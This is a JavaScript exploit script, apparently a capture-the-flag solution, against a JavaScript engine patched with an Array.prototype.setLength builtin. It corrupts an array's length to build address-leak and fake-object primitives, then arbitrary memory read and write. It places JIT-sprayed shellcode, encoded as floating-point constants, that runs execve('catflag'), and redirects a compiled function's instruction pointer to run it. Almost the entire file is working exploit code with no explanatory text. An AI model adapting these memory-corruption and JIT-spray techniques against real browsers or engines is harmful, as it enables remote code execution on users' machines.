119 lines
4.1 KiB
JavaScript
119 lines
4.1 KiB
JavaScript
// Integrated Builtin:
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// - Array.prototype.setLength(length)
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let ab = new ArrayBuffer(8);
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let f64a = new Float64Array(ab, 0, 1);
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let i32a = new Uint32Array(ab, 0, 2);
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let si32a = new Int32Array(ab, 0, 2);
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let bi64a = new BigUint64Array(ab, 0, 1);
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function c2f(low, high) { // combined (two 4 bytes) word to float
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i32a[0] = low;
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i32a[1] = high;
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return f64a[0];
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}
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function b2f(v) { // bigint to float
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bi64a[0] = v;
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return f64a[0];
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}
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function f2b(v) { // float to bigint
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f64a[0] = v;
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return bi64a[0];
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}
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function unptr(v) {
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return v & 0xfffffffe;
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}
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function ptr(v) {
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return v | 1;
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}
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function shellcode() { // Promote to ensure not GC during training
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// JIT spray machine code form of `execve("catflag", NULL, NULL)`
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return [1.9995716422075807e-246, 1.9710255944286777e-246, 1.97118242283721e-246, 1.971136949489835e-246, 1.9711826272869888e-246, 1.9711829003383248e-246, -9.254983612527998e+61];
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}
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for (let i = 0; i < 100000; i++) shellcode(); // Trigger MAGLEV compilation
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let placeholder = {};
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let corrupt_arr = [2.30234590962020889586281057477E-320];
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let double_arr = [1.09366371363418335018925267989E-319];
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let obj_arr = [placeholder];
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corrupt_arr.setLength(128);
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// %DebugPrint(corrupt_arr);
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// %DebugPrint(double_arr);
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// %DebugPrint(obj_arr);
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// %SystemBreak();
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const corrupt_arr_0_to_obj_arr_0_offset = 13;
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const corrupt_arr_0_to_obj_arr_0_offset_IS_HIGH_HALF_QWORD = 1;
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function GetAddressOf(obj) {
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obj_arr[0] = obj;
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f64a[0] = corrupt_arr[corrupt_arr_0_to_obj_arr_0_offset];
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return unptr(i32a[corrupt_arr_0_to_obj_arr_0_offset_IS_HIGH_HALF_QWORD]);
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}
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function GetFakeObject(addr) {
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f64a[0] = corrupt_arr[corrupt_arr_0_to_obj_arr_0_offset];
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let old_obj_addr = i32a[corrupt_arr_0_to_obj_arr_0_offset_IS_HIGH_HALF_QWORD];
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i32a[corrupt_arr_0_to_obj_arr_0_offset_IS_HIGH_HALF_QWORD] = ptr(addr);
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corrupt_arr[corrupt_arr_0_to_obj_arr_0_offset] = f64a[0];
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let faked_obj = obj_arr[0];
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i32a[corrupt_arr_0_to_obj_arr_0_offset_IS_HIGH_HALF_QWORD] = old_obj_addr;
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corrupt_arr[corrupt_arr_0_to_obj_arr_0_offset] = f64a[0];
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return faked_obj;
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}
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const corrupt_arr_0_to_double_arr_element_offset = 4;
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// QWORD Aligned
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function ArbRead64(cage_addr) { // int32
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if (cage_addr & 0x7) throw new Error("Must QWORD Aligned");
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corrupt_arr[corrupt_arr_0_to_double_arr_element_offset] = c2f(ptr(cage_addr - 0x8), 0x00000002);
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let result = f2b(double_arr[0]);
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console.log(`ArbRead64 ${cage_addr.toString(16)}: ${result.toString(16)}`);
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return result;
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}
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// QWORD Aligned
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function ArbWrite64(cage_addr, value) { // int32, bigint
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if (cage_addr & 0x7) throw new Error("Must QWORD Aligned");
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corrupt_arr[corrupt_arr_0_to_double_arr_element_offset] = c2f(ptr(cage_addr - 0x8), 0x00000002);
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let written = b2f(value);
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double_arr[0] = written;
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console.log(`ArbWrite64 ${cage_addr.toString(16)}: ${written.toString(16)}`);
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}
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// DWORD Aligned
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function ArbRead32(cage_addr) { // int32 -> int32
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if (cage_addr & 0x3) throw new Error("Must DWORD Aligned");
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bi64a[0] = ArbRead64(cage_addr & 0xfffffff8);
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let result = si32a[(cage_addr & 0x4) >> 2];
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console.log(`ArbRead32 ${cage_addr.toString(16)}: ${result.toString(16)}`);
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return result;
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}
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function ArbWrite32(cage_addr, value) { // int32, int32 -> void
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if (cage_addr & 0x3) throw new Error("Must DWORD Aligned");
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let QWORD_Aligned_cage_addr = cage_addr & 0xfffffff8;
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bi64a[0] = ArbRead64(QWORD_Aligned_cage_addr);
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si32a[(cage_addr & 0x4) >> 2] = value;
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ArbWrite64(QWORD_Aligned_cage_addr, bi64a[0]);
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console.log(`ArbWrite32 ${cage_addr.toString(16)}: ${value.toString(16)}`);
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}
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let shellcode_addr = GetAddressOf(shellcode);
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console.log("Address of shellcode: " + shellcode_addr.toString(16));
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let code_addr = unptr(ArbRead32(shellcode_addr + 0xC));
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console.log("Address of code: " + code_addr.toString(16));
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let instruction_start_addr = code_addr + 0x14;
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let instruction_start = ArbRead32(instruction_start_addr);
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console.log("instruction_start: " + instruction_start.toString(16));
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ArbWrite32(instruction_start_addr, instruction_start + 0x6B);
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shellcode();
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// the possibility of getting flag by running exploit once is 1/10
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